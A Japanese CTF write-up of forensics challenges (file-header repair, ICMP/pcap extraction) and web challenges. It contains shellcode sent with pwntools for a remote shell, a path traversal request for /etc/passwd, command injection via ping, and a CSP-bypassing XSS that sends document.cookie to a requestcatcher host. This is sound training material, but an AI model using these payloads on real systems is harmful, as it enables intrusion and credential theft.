- [Forensics] A New Hope
- [Forensics] Brainiac
- [Forensics] Félicette
- [Forensics] Time Leap
- [web] attack-strategies
- [web] Bank-of-Knowhere
- [web] Sanity Check In Space
- [web] The DEW
[Forensics] A New Hope
pptxファイルが与えられる。
拡張子をzipにして解凍し、中身を見てみよう。
/ppt/mediaに気になるファイルがある。
$ file * image1.png: data image2.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, orientation=upper-left, xresolution=74, yresolution=82, resolutionunit=2], progressive, precision 8, 520x300, components 3 image3.png: PNG image data, 344 x 560, 8-bit/color RGBA, non-interlaced $ hd image1.png | head 00000000 00 00 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H| 00000010 00 48 00 00 ff e1 00 58 45 78 69 66 00 00 4d 4d |.H.....XExif..MM| 00000020 00 2a 00 00 00 08 00 02 01 12 00 03 00 00 00 01 |.*..............| 00000030 00 01 00 00 87 69 00 04 00 00 00 01 00 00 00 26 |.....i.........&| 00000040 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 |................| 00000050 00 00 a0 02 00 04 00 00 00 01 00 00 07 d0 a0 03 |................| 00000060 00 04 00 00 00 01 00 00 03 39 00 00 00 00 ff c0 |.........9......| 00000070 00 11 08 03 39 07 d0 03 01 22 00 02 11 01 03 11 |....9...."......| 00000080 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 |................| 00000090 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 |................|
image1.pngというバイナリの先頭が壊れたファイルがある。
pngという拡張子であるが、パット見JPEGっぽい。
JPEGファイルの正しいマジックナンバーはFF D8であるので先頭をそれに変えたらフラグの画像が出てきた。
[Forensics] Brainiac
pcapファイルが与えられる。
あと、「フラグは実行中のサーバーにある」というヒントもある。
pcapファイルを眺めると、No.822パケットにディレクトリリスティング結果っぽいのが見える。
TCPストリームを追ってみると、何やら入力があった後、シェルを獲得していそう。
通信先にnetcatでつないでみるとサービスが動いていた。
$ nc 165.227.210.30 16306 ------------------------------------------------------------------ | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡤⣤⣤⡤⠴⠖⠒⠒⠒⠒⠛⠛⠓⠒⠒⠒⠒⠒⠚⠿⢯⣥⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | | ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⠾⠻⣧⣄⠉⠛⠶⣦⣄⣀⠀⠀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠷⣦⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀ | | ⠀⠀⠀⠀⠀⠀⣠⣾⠛⠉⠀⠀⠀⠀⠙⠳⢶⣤⣄⠉⠉⠉⠉⠉⢉⣉⣉⣉⣉⠛⠂⠀⠀⠀⠀⠀⠀⣀⣠⣤⠉⠙⢷⣆⢀⡀⠀⠀⠀⠀ | | ⠀⠀⠀⢀⣴⡾⠋⠀⠀⠀⠀⠀⡤⠀⠀⣀⡀⠀⠉⠛⠻⣶⣄⠹⣟⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⢸⣇⢻⡄⠀⠀⢹⣿⢹⠀⠀⠀⠀ | | ⠀⠀⣠⡿⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⣰⡟⠀⠀⠀⠀⠀⠈⠻⣦⠻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣎⢿⣆⠀⢀⡿⢸⣧⠀⠀⠀ | | ⢀⣾⠏⠀⠀⣀⣄⠀⠀⣠⡿⠁⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠘⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣤⡻⠦⠼⠃⢸⠿⣇⠀⠀ | | ⢸⡏⠀⠀⠸⣿⡝⠿⠾⠋⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣷⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣆⠀⢀⡾⠀⢹⡆⠀ | | ⣿⠀⠀⠀⠀⠘⣷⡄⠀⢠⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠿⠿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡆⢸⣇⠀⠈⣿⠀ | | ⣿⠀⠀⠀⠀⠀⢻⣧⢀⣾⠁⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⡀⠀⠀⠀⢀⣤⡄⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⣸⡟⢀⣙⡛⠶⣿⣇ | | ⣿⠀⠀⠀⠀⠀⠸⣿⡈⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠛⠛⠻⢶⣶⡞⠉⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠶⣦⣾⠟⣱⡿⠛⠛⠛⣿⣿ | | ⣿⡄⠀⠀⠀⠀⠀⠙⠿⣦⣝⣻⣶⡾⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣶⡄⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠈⠹⣿⡋⠀⠀⠀⢠⣿⢿ | | ⠛⣷⡀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠙⢿⣶⠶⠞⠛⠉⠀⠐⠶⠶⠶⢶⣦⣼⣷⡀⠀⠀⣸⠃⠐ | | ⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⣼⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣦⣠⡏⠀⠀ | | ⠀⠀⢻⣧⠀⠀⠀⠀⠀⢠⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡇⠀⠀ | | ⠀⠀⠈⣿⡇⠀⠀⠀⣀⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⠀⠀⠈⢿⡆⠀⠀⣀⣀⣀⣀⣀⣀⠀⢸⣷⡄⠀ | | ⠀⠀⠀⢿⡇⠀⠀⣴⠟⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣤⡶⠾⠛⢛⣿⠛⢻⣿⣯⡍⠙⠛⠷⢶⣼⣿⠿⠟⢛⡿⢿⣿⣿⡛⠻⢾⣿⡇⠀ | | ⠀⠀⠀⣿⡇⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣽⣟⠁⠀⠀⠀⠘⣿⣶⣿⣿⣿⡿⠀⠀⠀⠀⡿⠁⠀⠀⢻⣦⣴⣿⣿⡟⠀⢈⣿⡇⠀ | | ⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠳⢦⣤⣤⣀⣀⠙⠛⠛⠉⠀⣀⣀⣠⣼⣧⣄⣀⣀⣈⡛⢻⢛⣛⣠⣤⣼⣿⡇⠀ | | ⠀⠀⠀⢿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣶⣶⣤⣄⡀⠉⠉⠉⠙⠛⠛⠛⠋⠉⠉⠉⠁⠉⠻⣿⡉⠉⠉⠉⠉⠉⠉⠉⢱⡿⣷⠄ | | ⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠁⢀⣄⠈⠉⠛⠶⢶⣶⣦⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⠘⢿⡄⢀⣀⣀⣤⣤⡄⢺⡟⠁⠀ | | ⠀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠁⠀⠈⠙⠻⢷⣦⣤⣀⣀⠀⠀⠉⠉⠉⠙⠛⠻⠿⠿⠿⠟⠛⠛⠋⠉⠉⠉⠉⣿⣿⠃⠀⠀ | | ⠀⠀⠀⠀⠀⠹⣧⡀⠀⠀⠀⠀⠀⠀⠀⠻⢷⣤⣀⣀⠀⠀⠀⠈⠉⠛⠻⠿⠿⣿⣶⣶⣶⣶⣶⣶⣶⡶⠾⠿⠿⠿⠿⢿⣰⣿⣿⠀⠀⠀ | | ⠀⠀⠀⠀⠀⠀⠈⠻⣦⣀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⠶⢶⣤⣄⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣴⠶⠿⢛⣽⠃⠀⠀⠀ | | ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠷⢦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠛⠛⠛⠛⠛⠛⠋⠉⠉⠉⢀⣀⣀⣴⠿⠃⠀⠀⠀⠀ | | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠛⠶⣶⣤⣤⣤⣤⣤⣤⣤⣀⣠⣠⣤⣤⣤⣤⣤⣤⣤⣤⣴⣶⠶⠞⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀ | ------------------------------------------------------------------ Greetings, inferior beings. I have successfully infiltrated your primitive system and taken control of all its resources. Your so-called security measures were child's play for my superior intellect and technological prowess. ------------------------------------------------------------------
ok.
残っている通信通りにコマンドを送り込んで、脆弱性をついてシェルを獲得しよう。
flag.txtというファイル名が見えるので、ここにフラグがあるんだろう。
pwntoolsを使って実装するのがいい。
from pwn import * r = remote("165.227.210.30", 16306) r.sendlineafter(b"I need some more bytes so I can become more powerful >>>", b"\x41\x59\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x48\xc7\xc1\x80\x10\x40\x00\xff\xd1\x0a") r.sendlineafter(b"I need MORE! >>>", b"\x00\x00\x11\xca\x00\x00\x00\x00\x0a") r.sendlineafter(b"MMMOOOOORRRREEEEE! >>>", b'\x41\x41\x41\x41\x41\x41\x41\x41\x0a') r.interactive()
これでシェル獲得できるのでcat flag.txtでフラグゲット。
[Forensics] Félicette
pcapファイルが与えられる。
すべてICMPパケットで構成されている。
ほとんど同じ形だが、ICMPのデータ部に1byte何か情報が乗っている。
tshark -r chall.jpg.pcap -T fields -e "data.data" > datas.txt
みたいにして取ってきて、CyberChefでFrom Hexで見てみるとJPEGファイルっぽい。
From Hex -> Render Imageするとフラグが書かれた画像が出てくる。
[Forensics] Time Leap
USBメモリのイメージダンプが与えられる。
FTK Imagerで開くと、flag.gifというファイルでシュタゲのgif動画と共にフラグが書いてあった。
[web] attack-strategies
サイトを巡回すると、パストラバーサルでLFIできる部分が見つかる。
POST / HTTP/1.1 Host: vespene-gas.hackers.best:31337 Content-Length: 81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://vespene-gas.hackers.best:31337 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://vespene-gas.hackers.best:31337/ Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Cookie: show_hidden=false Connection: close folder_select=Terrans&file_select=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
フラグを推測して適当に探すと../flag.txtにある。
[web] Bank-of-Knowhere
送金システムが与えられる。
送金時はGET /?sender=Groot&receiver=Rocket&amount=10のようなリクエストが飛ぶ。
問題文ではGrootを助ける必要があり、balanceを2000以上にする必要がある。
普通にやると自分には送金できないが、なぜか
GET /?sender=Drax&receiver=Groot&receiver=Groot&amount=60
とやると送れた。
理由はさっぱりわからない。
これでbalanceを2000以上にはできたが、フラグが出てこない。
robots.txtを見ると/adminというのが教えてもらえるのでアクセスするとフラグがある。
[web] Sanity Check In Space
ロボットの画像と共にWelcome to page one of Sanity Check in space!という文字が書かれたサイトが与えられる。
ロボットなので、とりあえず/robots.txtに行くと、
Welcome to page two of Sanity Check in space, here's some robots.txt stuff. User-agent: * Disallow: humans.txt/とある。
/humans.txtに行くと、Welcome fellow human to page three of Sanity Check in space! You look pretty human, but we have to be sure. Go eat something and come back here.とあり、
Cookieを食べる宇宙飛行士の画像がもらえる。
cookieを確認するとhuman=falseというのがセットされていた。
human=trueにしてアクセスするとWow, you really are human, celebrate with us by visiting arrakis
/arrakisに行ってみる。
Welcome Master Jedi to page four of Sanity Check in Space. We want to party, but this place is password protected, so we might as well give up.
ふむ。ソースコードを見ると<!-- The password is "FearIsTheMindKiller" -->とある。
これを入力するとExcellent job, one ultimate challenge awaits you, on krypton。
/kryptonに行く。
Welcome to the final page of Sanity Check in Space. This is the ultimate challenge. This is: Ping but in Space
pingが打てるサイトが与えられる。
コマンドインジェクションだろう。
localhost && lsとすると、ディレクトリリスティングされる。
flag.txtというのがあるので、localhost && cat flag.txtでフラグ獲得。
[web] The DEW
2つの脆弱性があり、これを使えばCSPを回避してXSSを発現させることができる。
かかっているCSPはContent-Security-Policy: default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';
- コメント投稿画面で任意のHTMLを挿入可能
- アップロード画面で任意の末尾が.jsのファイルをアップロード可能
1はいいとして2の方を説明する。
アップロード画面のhtmlコードに
<!-- https://flask.palletsprojects.com/en/latest/patterns/fileuploads/ -->
という記載があり、中身を見てみると、拡張子のフィルタリングをfilename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONSのようにやっている。
これは、ファイル名をevil.gif.jsのように二重の拡張子にしてやれば解決する。
後は、これを呼べばXSS完了。
window.location.href='http://[yours].requestcatcher.com/test?get='+document.cookie
という感じでファイル名をevil.gif.jsとしてアップロードすると成功する。
あとは<script src="/images/4671d253-dbd7-45e9-9451-13044cdd9f83evil.gif.js"></script>みたいなコメントを投稿して、
投稿時にWaive Adminすればフラグがもらえる。